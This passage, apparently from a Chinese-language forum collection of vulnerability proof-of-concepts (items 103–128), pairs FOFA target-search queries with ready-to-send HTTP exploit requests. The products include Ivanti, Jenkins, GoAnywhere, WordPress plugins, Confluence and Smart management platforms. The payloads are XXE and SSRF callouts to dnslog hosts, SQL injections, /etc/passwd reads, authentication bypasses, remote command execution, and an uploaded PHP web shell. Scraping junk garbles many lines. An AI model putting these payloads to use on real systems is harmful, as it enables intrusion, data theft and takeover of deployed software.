xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

, K( F, m) g  J0 u  `0 x* |1 t* |103. Ivanti Pulse Connect Secure VPN XXE
6 I0 C4 S, O0 [# U' R. oCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
& q# a7 g/ _/ c  G9 T+ C4 w* LHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 g" c; n1 Y3 d0 S2 A& J" ]+ WConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

/ H) h- u) {  n, fSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

: Z: o' q# m- h1 c* P9 L2 ?" m3 q
& n! e. e; ~9 d% ]8 K其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
2 f0 F+ T' u7 U<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
8 C4 j& A1 }5 v) S  I

0 J4 S1 R. c/ x$ [; ]# P104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
5 i# @: L# ~7 T0 f) e% c! fCVE-2024-0569
. _( ^0 u1 j# F4 D8 ~1 U6 d/ H# pFOFA：title="TOTOLINK"
9 O* N4 k- R7 C% ^) N: `POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
" r( d) ^7 W# ^) K* uContent-Length:41
3 h" z+ ?+ s+ K/ S' kAccept:application/json,text/javascript，*/*;q=0.01
) {- d6 c* a: l( }- r0 J- a# dX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
7 s. \' p- \( K4 N) Q+ X2 `( l1 \Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
: g; X! Y) i! mAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
7 o& O: N9 y7 ^; jConnection:close
4 Y; y3 X# D3 O
0 k0 Z3 p: h" ~! S; ?+ V: Z1 I{
) n7 W: f0 Z' s. z6 L8 g"topicurl":"getSysStatusCfg",
"token":""
+ P/ r) L5 I' q0 F1 `/ r}

105. SpringBlade v3.2.0 export-user SQL 注入
6 i  r- [2 `5 Z) ^; ^2 _  TFOFA：body="https://bladex.vip"
5 S0 A2 a, L3 D) Nhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

. C$ d+ \# T" i, l- S9 R/ u106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
% G+ i8 O7 U" Y  R" kHost: your-ip
0 q" M& |/ b0 n% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 w) K- u* ?0 QBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
! |6 \+ Q. F9 k, Y$ S7 `+ [/ gFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
& }( r# u; }7 c2 J7 M) P4 K: OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 B4 \9 u! D, F" N* jBlade-Auth:替换为自己的
Connection: close
/ ?- d  ^: U3 B

108. D-Tale 3.9.0 SSRF
7 k; T2 g" Y) GCVE-2024-21642
$ c7 U  |' l+ Y& ?, lFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
! p) b: o6 Q# c" xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
) N8 Y$ O7 A5 v; _/ T+ ?) g% s2 v7 xConnection: close
4 N! X9 s8 O) I  x& ?5 J
, h5 |, q1 k( \: r7 B$ l9 Q/ P& ^
# Y) t2 {/ j; X) ^' s109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
5 ?$ u: {1 d2 d0 G" M4 e3 ]* mPOST /cli?remoting=false HTTP/1.1
+ F$ O( J# S& y( t! p# RHost:
5 e( ^5 z. W/ Z2 O6 @( SContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& B7 E8 D; s) y3 S3 F3 ]Side: upload
Connection: keep-alive
: I: v3 W9 U- C  pContent-Length: 163
' B8 j8 W% n" |7 U
& m, g; A- Q# tb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

! O" c$ P: I7 I" Q& r9 i
( }9 X- |6 r  g7 lPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) B0 t' J" i! @* J& Adownload
Content-Type: application/x-www-form-urlencoded
& z  V* e7 S, v& xContent-Length: 0

2 a/ R! T0 {( g0 Q: T& f7 p. F
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
% W5 y6 d6 a$ O( x. a3 ` COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

+ j9 X8 F4 I% `. v
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
$ |6 G( l. F0 WFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
+ B+ `! B; ?) b" B9 dHost: 192.168.40.130:8000
: _, i: T  s3 }, `$ k( b+ vUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
, g  w% T& E+ e, ~Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
" `4 _  ]3 i" J! ^! ACVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
, w7 X8 T. O. G9 N/ t6 IFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
# Q/ ]8 D. g/ j# ?* X& CHost: {{Hostname}}
Content-Type: application/json
4 U# E, L4 w+ Y4 @) s
$ c! y: V2 |1 s+ p+ _{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

3 z( y' I5 ^" _
113. WordPress Automatic 插件任意文件下载和SSRF
2 E. K1 x1 Q: t! r; U% cCVE-2024-27954
7 z; d2 |3 g$ S5 }% g% @FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
* v) B1 i5 ]0 F  ]; S" m. tHost: x.x.x.x
" u1 g1 f4 d7 D' hUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
/ n& T, p" @0 K2 s5 ]5 ?7 v: QConnection: close
Accept: */*
6 b, V, r& V5 d( G; pAccept-Language: en
) t( @3 O' i6 k. WAccept-Encoding: gzip
; ^- E: D4 w' C1 \" s2 `  C
6 z3 u5 N  w; V& F* X' W
5 \% X) s( A, P: ~9 y5 S114. WordPress MasterStudy LMS插件 SQL注入
- \+ _8 \4 J9 nFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
# h/ k6 Z& _, ^! W# I( JGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
& {' m/ [/ U% ~' lConnection: close
6 S6 G' H" D( h7 c, W  U

& F. i- T2 C3 V9 D0 l7 a8 \115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
6 u1 s) B* `2 z  {; {: y8 ^9 BFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
. w/ h5 l9 x1 v8 E2 c' b4 EGET / HTTP/1.1
+ q$ X4 }/ M* i: THost: x.x.x.x
1 R2 E9 [( V' p& A. @6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
6 \) R$ ]" u6 q5 {Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
, w7 r& y. f3 ^, L# H$ f9 FPOST /wp-json/bricks/v1/render_element HTTP/1.1
# @7 b4 e- I+ ZHost: x.x.x.x
% G# z! i7 B' w/ d# Y+ g: W) LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
; O' B8 @2 W" F( N5 F  x; }! lContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

0 T" M) J( |- Y+ E; h% c{
6 A* h3 \8 L/ R2 S( z"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
" C9 M6 s  r; F8 Y6 _      "hasLoop": "true",
, O7 Q* i* ^5 Q$ k      "query": {
8 M& X1 S% b' a' z- F        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
* ]# g" e! _  w1 Q6 G8 G  }
}


116. wordpress js-support-ticket文件上传
" J3 D, E. M% G; b8 u; ]0 ^FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
+ B$ @2 `5 m! C% c; {Content-Type: multipart/form-data; boundary=--------767099171
& n9 o! T) u$ V! u6 k/ aUser-Agent: Mozilla/5.0
( a* k5 m$ S# f- q
----------767099171
9 d, t, `  V2 p" T# {* H/ wContent-Disposition: form-data; name="action"
9 _' f5 @# X3 ?! i0 h. Vconfiguration_saveconfiguration
----------767099171
  s: ~% P$ P! G+ SContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
/ P- l7 q; t' b, d( z3 l! P% tContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
; M2 X+ j' t- }; O1 n! @2 XContent-Type: image/png
----------767099171--

0 r9 B7 F( }" l& P
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! x# t' p  l, U, `( gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
7 S2 U1 T7 j2 t+ x
5 f9 r7 p( Z, i# f! G8 Q/ I- P
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
# q! b3 d4 h: l7 f/ U$ |  dFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
7 N' @) h% G6 g" _, m/ FHost: 192.168.40.130:8443
8 G7 y, ?( ?* c. r, UCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
: ~7 G( V7 B; e& S  P! kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 V1 Q" k5 q8 ?2 X# ?7 H9 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) n3 [! ^: a3 `+ F) `  k" p" }2 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
; g1 S2 C7 m1 fContent-Length: 405
Origin: https://192.168.40.130:8443
8 d7 A9 o( g# w; R* YReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
1 ~' k- N5 R6 L- c* F6 D( b( _Sec-Fetch-User: ?1
% L, E3 h" b! VTe: trailers
Connection: close
  R" U3 N% H; D/ j% E
-----------------------------13979701222747646634037182887
' b! g& ]' D$ A9 C' VContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

% f' t6 I; r: k1 y% r1 V7 g7 m<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
: R1 n% X8 g5 E. t7 W: i, i; bContent-Disposition: form-data; name="txt_path"
$ J4 T$ F4 T# h, t
; u7 A7 G, n- _* K2 J( L7 G: g( A! G/home/src.php
-----------------------------13979701222747646634037182887--


) P  o& o! W2 Z; ~: r/ o0 z* D' l. s& @访问/home/src.php
/ B. Z, M2 E, N) ]* E$ o% s: s
0 |& {# X7 h$ \& N119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
1 O8 `* t# u; e1 b$ FFOFA：title="Smart管理平台"
# m; s  ?8 r' q先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
# S) W$ q$ e" e2 m) M) g1 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
& M9 V0 F5 W3 G' u1 z( hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  z* X" A2 [: }  ?  c/ tAccept-Encoding: gzip, deflate
  q  L. i5 N' A! ?4 y% @Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
* A- S4 r, r/ k/ o/ x% tOrigin: https://58.18.133.60:8443
5 Z" {8 Q" b  e' lReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
) z9 l& F# p3 ^2 hSec-Fetch-Mode: cors
: J* B) i2 g( x( |3 Q" u! PSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
+ m4 o& Q- z, q2 K# E  V/ c5 `( QX-Remote-Addr: 1.1.1.1
Te: trailers
7 w1 b  g" E: A$ s8 JConnection: close
9 ]  \. I/ c) _$ H9 E* q
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
( Z, o* f4 |( p3 a+ y- V6 |

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
" E) d) Q- f$ g3 o" H& D/ Z9 uFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
$ O* d. \) ]( j; d( Z; y0 lHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
! ^5 Z1 H0 B3 C3 R, Q0 J" n: Q, L: MUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
3 p/ I5 K3 a% W- B7 w3 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ S% m' G* A9 c) h/ E) z9 a2 EAccept-Encoding: gzip, deflate
" o( K5 C8 D8 ^; n1 Y) Y+ wContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
! \3 J1 B5 `: sContent-Length: 597
Origin: https://ip:port
( [# }& Q9 W; FReferer: https://ip:port/sysmanage/licence.php
& C" R; k, v# Z4 aUpgrade-Insecure-Requests: 1
2 X, Q* c$ q/ S( v1 H0 n. ]: G- c% |Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ e2 M/ S, Z) x5 x: c0 MSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
3 t/ K; E8 I* V6 D% r
/ }9 i% k' c# ~7 S-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
" x8 k4 H' e" FContent-Type: application/octet-stream
2 K2 U) L( ]8 C3 O% F# ~7 h3 @' e
/ v  j4 D9 }( y  l, H6 s<?php phpinfo()?>
& v/ {9 u( R0 [3 s; d-----------------------------42328904123665875270630079328
5 v7 l& g5 c1 g: wContent-Disposition: form-data; name="id_type"
( q( B" m- N  C) ]9 c
% P5 f: c& k  F# b4 q1
-----------------------------42328904123665875270630079328
- O* F" _1 W& S0 g& c1 TContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
- U% y) |; ~2 B) q( n0 `-----------------------------42328904123665875270630079328
- ^7 a, g" y2 a7 O! E9 o
# @, G4 g0 e* K7 ~: \5 J
文件路径/upload/2.php
5 d5 @- X$ s! t0 E
, S$ v: d; e4 r/ }% a/ Y* v) Y121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# c) @7 b& n1 k5 S, [; TCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
! E. i  b  N# ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
2 h/ h5 r  b& c3 l% U" xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 l( P2 c5 d" c$ ?+ x" u" iAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
4 q' G* U/ E: A% u) u3 ]Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
9 `2 z: L  N7 w, K1 j+ u! eSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
. s2 ^! N1 \" N- t: ETe: trailers
# R8 b5 a: C7 Y) M5 CConnection: close
* i5 C% X# n3 i" z. R
# N' B" C) [+ U) v! n-----------------------------42328904123665875270630079328
  \+ j, X5 S1 u/ o, }( x$ H- lContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
) V( m( K; F$ A
; k2 x% R) K, |$ N+ \! ?# f6 F<?php phpinfo();?>
/ I7 y9 v& J! Y-----------------------------42328904123665875270630079328
. d# \+ Q9 u  W# V, l+ Z8 AContent-Disposition: form-data; name="id_type"

$ V7 g+ w, {# y" n6 b1 {1
$ e) ~& t% D) U) q4 k7 ~2 `-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
; o  k- r( ~0 U% o$ s
4 z8 y2 x5 T. K2 f0 z- q( l8 ], }1_radhttp
. v2 t4 i+ J) |1 f9 `8 R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
9 Y$ ]" |0 U5 s-----------------------------42328904123665875270630079328

  Y# O- ]# t+ |
# R" E' Y- n: [* ^0 Oboot/web/upload/weblogo/1.php

; a$ V; G7 |; R) E2 z& ?7 i. D122. 北京百绰智能s200管理平台/importexport.php sql注入
7 I4 l0 F; C0 i0 Y: B5 V* c: E" T6 a* BCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
- j, {: D0 M* X, R) j; u, wCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- }# R  B" G" H1 t. HAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
5 k" [2 R: ]& H: }8 f; W# j$ l# ISec-Fetch-Mode: navigate
Sec-Fetch-Site: none
! s. t! d+ |7 Z  I4 q' CSec-Fetch-User: ?1
Te: trailers
" d: f: w' B( ^: NConnection: close
8 }1 {8 `& g( S; b+ X
3 i5 J7 S" |  T. y3 \; `8 K/ e: D$ h
2 U  W6 O0 }; b123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
2 m! n: M7 }  }# z- ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
$ N% S( D& h1 A7 f2 n' OConnection: close
Content-Type: application/x-www-form-urlencoded
+ c1 U) ?' d/ F2 G
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

  A1 }% ]8 [, s
4 D: N3 P# m6 w+ A) x% E124. 湖南建研工程质量检测系统任意文件上传
; U0 {2 C# @" p) t% cFOFA：body="/Content/Theme/Standard/webSite/login.css"
' L* q; V1 T$ l& _- dPOST /Scripts/admintool?type=updatefile HTTP/1.1
5 M! f# E; q/ K3 O0 S# P) h( GHost: 192.168.40.130:8282
7 }7 w4 W5 s- ]9 @) ?User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
# ]- q( d: N, wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 v* R8 r, E& |% P% q7 ]; XConnection: close
/ O3 z+ {' ]0 s( CContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

4 N8 ^+ b) }, ~
http://192.168.40.130:8282/Scripts/abcgcg.aspx
$ A7 j3 U4 ~# E- M4 v
2 ]' L( l- h0 a* R- m125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
: Z- q( R. p3 T( Q) g  t: e8 z% G
+ `( F' P& ~$ m0 u3 }
1 P% ~8 R$ o# W/ y5 G( e6 L使用方法
: i, h) p* z: i! m3 g1 V1 F9 l0 cpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
' e0 X, L* O* M

创建好用户后直接登录后台，可以执行系统命令。
, ~, I; I9 x8 J2 X; t6 C
126. Aiohttp 路径遍历
( J# w9 d  \1 G$ KFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
2 e9 i. Q7 H/ b9 [' t8 ^Host: x.x.x.x
' c$ O8 q* X" }; o# sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
4 Z7 g5 |/ p5 @8 t- \- jAccept-Language: en
0 J8 \# D5 h0 E. J# P# lAccept-Encoding: gzip
$ a. ?" q6 g- m3 ]

127. 广联达Linkworks DataExchange.ashx XXE
: g( L- o9 n, y3 M4 q5 p% GFOFA：body="Services/Identification/login.ashx"
* K% f$ S4 y, z! N1 R; oPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ r4 k2 R3 ~8 x5 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# {" \- N9 L4 _: Y! D' ~4 t5 T) y% tConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
5 Y6 A7 E4 ^# \3 v5 g* T( W7 Y7 Y7 xPurpose: prefetch
Sec-Purpose: prefetch;prerender

: }1 D! T: C" p$ ?) s& n7 `------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
& w! ?$ x. W# ]2 M4 c* b; S------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

) d" {  ?7 ?. f6 ?5 Q- M<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
; o4 D. h# X- a4 V: J3 U" n( Q]
>
7 O) W# Q4 ]3 B4 a( `$ j3 {" K<test>&t;</test>
- L3 ~9 L7 v1 K9 C7 V( g------WebKitFormBoundaryJGgV5l5ta05yAIe0--
# k7 C5 S$ _6 M4 Z' F$ E

2 c! u' ^0 x( |
* Y! `" I  ]3 D  ]( ~3 V128. Adobe ColdFusion 反序列化
* o) c/ _( u+ `  _2 I4 s5 sCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
